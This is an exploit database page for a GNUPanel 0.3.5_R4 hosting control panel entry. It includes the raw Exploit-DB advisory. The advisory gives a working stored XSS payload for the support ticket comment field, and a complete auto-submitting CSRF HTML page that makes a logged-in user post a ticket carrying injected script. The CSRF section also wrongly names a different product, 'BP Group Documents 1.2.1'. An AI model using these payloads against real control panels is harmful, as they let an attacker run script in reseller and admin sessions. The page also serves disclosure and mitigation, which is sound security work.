header-logo
Suggest Exploit
vendor:
GNUPanel
by:
Necmettin COSKUN
7,5
CVSS
HIGH
Stored XSS and CSRF
79,352
CWE
Product Name: GNUPanel
Affected Version From: 0.3.5_R4
Affected Version To: 0.3.5_R4
Patch Exists: YES
Related CWE: N/A
CPE: a:gnupanel:gnupanel:0.3.5_r4
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Debian GNU/Linux
2014

GNUpanel 0.3.5_R4 – Multiple Vulnerabilities

GNUPanel has a pure coded ticket support system Comment 'consultar' field is not ascaped so any tags including script tags can be stored in them. An unauthenticated user can cause a logged in user to create support ticket including malicious code.

Mitigation:

Input validation and output encoding should be used to prevent XSS attacks. CSRF attacks can be prevented by using CSRF tokens.
Source

Exploit-DB raw data:

# Exploit Title		:GNUpanel 0.3.5_R4 - Multiple Vulnerabilities
# Vendor Homepage	:http://wp.geeklab.com.ar/gl-en/gnupanel/
# GNUPanel Version	:0.3.5_R4
# Server			:Centos 6.4
# Exploit Author	:Necmettin COSKUN =>@babayarisi
# Blog				:http://www.ncoskun.com http://www.grisapka.org
# Discovery date	:03/11/2014
# CVE				:N/A
 
GNUPanel is a hosting control panel for Debian. It is written in PHP and it is tailored to run on 32 and 64 bit Debian GNU/Linux web hosting servers.  
Description
================
Stored XSS vulnerability
 
Vulnerability
================
GNUPanel has a pure coded ticket support system   Comment "consultar" field is not ascaped so any 
tags including script tags can be stored in them.
customer client can send malicious ticket to reseller client
reseller client can send malicious ticket to Server Admin
 
Proof of concept
================
Go to Support tab and click > New Ticket 
Set subject field Demo
Set comment field "><script>alert("XSS");</script>
Click Send.
Go to Support tab and Click >Pending tickets
Click read button  Bingo XSS ;)
================
 
Second one:
CSRF vulnerability
================
 
Description
================
CSRF vulnerability in BP Group Documents 1.2.1
 
Vulnerability
================
An unauthenticated user can cause a logged in user to create support ticket including
malicious code.
 
Proof of concept
================
<html>
<body>
<form id="baba" method="post" action="http://demo/gnupanel-reseller.php?seccion=tickets&plugin=enviar_ticket"> 
<input name="asunto" size="45" value="Demo12" maxlength="254"> 
<textarea name="consultar" rows="10" cols="50"><script>alert("XSS");</script>&lt;/textarea&gt;
<input name="ingresando" value="1" type="hidden"> 
<input name="resetea" value="Reset" type="reset">
<input name="agrega" value="Send" type="submit"> 
</form>
<script
type="text/javascript">document.getElementById("baba").submit();
</script>
</body>
</html>
================
  
Discovered by:
================
Necmettin COSKUN  |GrisapkaGuvenlikGrubu|4ewa2getha!